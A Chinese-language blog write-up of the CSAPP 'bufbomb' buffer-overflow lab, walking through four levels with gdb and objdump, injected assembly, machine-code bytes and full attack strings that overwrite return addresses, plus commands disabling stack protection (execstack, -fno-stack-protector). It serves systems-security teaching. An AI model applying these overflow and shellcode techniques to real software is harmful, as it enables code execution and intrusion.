CSAPP:逆向工程【緩衝區溢出攻擊】
- 2019 年 10 月 25 日
- 筆記
逆向工程【緩衝區溢出攻擊】
任務描述
掌握函數調用時的棧幀結構,利用輸入緩衝區的溢出漏洞,將攻擊程式碼嵌入當前程式的棧幀中,使程式執行我們所期望的過程。
主要方法
溢出的字元將覆蓋棧幀上的數據,會覆蓋程式調用的返回地址,這賦予了我們控制程式流程的能力。通過構造溢出字元串,程式將「返回」至我們想要的程式碼上。
實驗包括三個可執行文件:
—| bufbomb為目標程式
—| makecookie可以生成bufbomb需要的輸入參數的cookie(也可以在gdb調試時直接讀取暫存器獲得)
—| sendstring可以將ASCII碼轉成字元(實驗用到了拓展ASCII碼)
程式運行時棧幀結構
Level0:Somke
getbuf函數在test中被調用,當getbuf返回時繼續執行第八行:
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corruptedn"); } else if (val == cookie) { ...... } }
Bufbomb中一個正常情況下不會被執行的函數:
void smoke() { entry_check(0); /* Make sure entered this function properly */ printf("Smoke!: You called smoke()n"); validate(0); exit(0); }
攻擊目標
在getbuf返回時跳到smoke函數執行。
思路
1、通過gdb調試得到我們輸入的字元串首地址p/x $ebp-0xc
2、找到函數smoke的地址p/x &smoke
3、用smoke函數的地址覆蓋getbuf的返回地址
操作
首先對可執行程式進行反彙編objdump -d bufbomb > bufbomb.s
反彙編得到的彙編碼中,找到getbuf的程式碼段,可以看到緩衝區首地址為-0xc(%ebp),%eax
打開gdb調試,在Gets函數執行前設置斷點b *0x8048fec
運行程式,輸入測試字元:
得到緩衝區首地址為0xffffb16c
得到smoke函數入口地址0x8048e20
接下來只需要構造攻擊字元串,使得字元串溢出部分覆蓋返回地址,達到「返回」到smoke函數的目的。
根據程式運行時的棧幀結構,可以得到返回地址存儲在ebp暫存器的後4位元組,輸入緩衝區大小為0xc+4,最終得到攻擊字元串長度應該為0xc+4+4=20位元組。
只要輸入字元串的最後4位元組為smoke函數入口地址即可跳轉,前16位元組數據可以為任意值,小端模式下攻擊字元串如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
將字元串保存到exploit1.txt文件中,使用./sendstring <exploit1.txt> exploit1_raw.txt將ASCII碼轉為實際字元。
執行程式測試運行結果./bufbomb -t USTCSA < exploit1_raw.txt
Level1:Fizz
另一函數
void fizz(int val) { entry_check(1); /* Make sure entered this function properly */ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)n", val); exit(0); }
攻擊目標
「返回」到該函數並傳送參數cookie
操作
原理與smoke相同,觀察棧幀結構可以發現只需要在smoke攻擊字串後面再繼續覆蓋調用棧幀的參數。
fizz入口地址為0x8048dc0.
與smoke相同,ebp+4為棧幀返回地址。
執行完ret指令後棧頂指針 %esp 會自動增加4以還原棧幀。
在fizz彙編程式碼段,cmp指令是將存放cookie的變數與%ebp+0x8處的值相比,此時參數地址也就是舊的ebp+4+8。
cookie值通過./makecookie USTCSA獲得。
通過以上分析可以得到,fizz攻擊的字元串與smoke相比,只需要將ebp之上4個位元組的地址覆蓋,然後再往上8位元組填入cookie參數。
除了fizz的入口地址與cookie參數,其餘位元組都可以用任意值填充,得到一下攻擊字元串。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11
再使用sendstring獲得新的攻擊字元,執行程式測試運行結果
Level2:Bang
第三個函數
int global_value = 0; void bang(int val) { entry_check(2); /* Make sure entered this function properly */ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%xn", global_value); validate(2); } else { printf("Misfire: global_value = 0x%xn", global_value); exit(0); } }
攻擊目標
構造若干條指令,修改全局變數global_val,然後跳轉到bang函數
(需要execstack工具解除棧執行限制)
操作
與smoke和fizz不同的是,這裡不在是簡單的纂改返回地址。因為涉及到修改全局變數,所以需要注入我們自己的程式碼,然後將返回地址篡改到攻擊程式碼處執行,最後ret到bang函數。
通過前兩個實驗的分析,已經得知輸入緩衝區最大有16位元組的空間,而我們注入的程式碼正好只需要16位元組空間。
以下是我們想要添加執行的彙編碼:
movl $0x11d35fc1, 0x804a1dc push $0x8048d60 ret
movl指令將我們的cookie(11d35fc1)傳遞到0x804a1dc(cmp指令對比時的全局變數取值)
push指令將bang函數的入口地址壓棧
ret指令返回我們最後壓入的bang函數入口,實現跳轉的效果
將我們自己寫的彙編碼保存,通過gcc將彙編碼編譯成機器碼
gcc -m32 -c bang.s獲得bang.o
再將機器碼讀取
objdump -d bang.o
bang.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: c7 05 dc a1 04 08 c1 movl $0x11d35fc1,0x804a1dc 7: 5f d3 11 a: 68 60 8d 04 08 push $0x8048d60 f: c3 ret
c7 05 dc a1 04 08 c1
5f d3 11
68 60 8d 04 08
c3
獲得我們自己想要操作的指令機器碼。
只需要在這段字串後再加上緩衝區的首地址,用來覆蓋原返回地址,可獲得最後的攻擊字元串:
c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff
使用sendstring獲得新的攻擊字元,執行程式測試運行結果
提示運行失敗。。。。。。。。。
一直以為是自己那裡寫錯了,折騰了一下午(微笑臉)
出現段錯誤是因為Linux系統默認開啟了棧保護機制,用於阻止緩衝區溢出攻擊???
解決方法:
安裝execstack sudo apt-get install execstack
修改程式堆棧的可執行屬性 execstack -s bufbomb
若是擁有bufbomb的源程式碼,也可以在編譯時關閉保護機制重新編譯
gcc -g -z execstack -fno-stack-protector bufbomb.c -o bufbomb
再次測試運行結果
另外,修改堆棧可執行屬性只能在gdb調試下有效,實際運行仍然會出現段錯誤。徹底解決的方法是找到源程式碼以後重新編譯。還有一點,多次實驗時可能會出現緩衝區首地址改變的情況。
Level3:Test
第四個函數
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corruptedn"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%xn", val); validate(3); } else { printf("Dud: getbuf returned 0x%xn", val); } }
攻擊目標
函數正常返回時執行 第15行,我們要讓函數執行第12行
操作
與bang不同的是,本任務中我們希望getbuf() 結束後回到test()原本的位置,並將cookie作為getbuf()的返回值傳給test()。過程中需要將ebp復原,使程式不會因為外部攻擊而出錯崩潰,保證退出攻擊後棧空間還原。
操作流程:
獲取舊的ebp值
寫需要插入執行的彙編碼——用指令設置返回值,並返回getbuf下一行執行
利用溢出覆蓋修改ebp
gdb調試獲取ebp:
編寫彙編碼:
movl $0x11d35fc1, %eax push $0x0804901e ret
轉為機器碼:
00000000 <.text>: 0: b8 c1 5f d3 11 mov $0x11d35fc1,%eax 5: 68 1e 90 04 08 push $0x804901e a: c3 ret
b8 c1 5f d3 11 68 1e 90 04 08 c3
最後再修改ebp獲得攻擊字元串:
b8 c1 5f d3 11 68 1e 90 04 08 c3 00 98 b1 ff ff 6c b1 ff ff
測試運行結果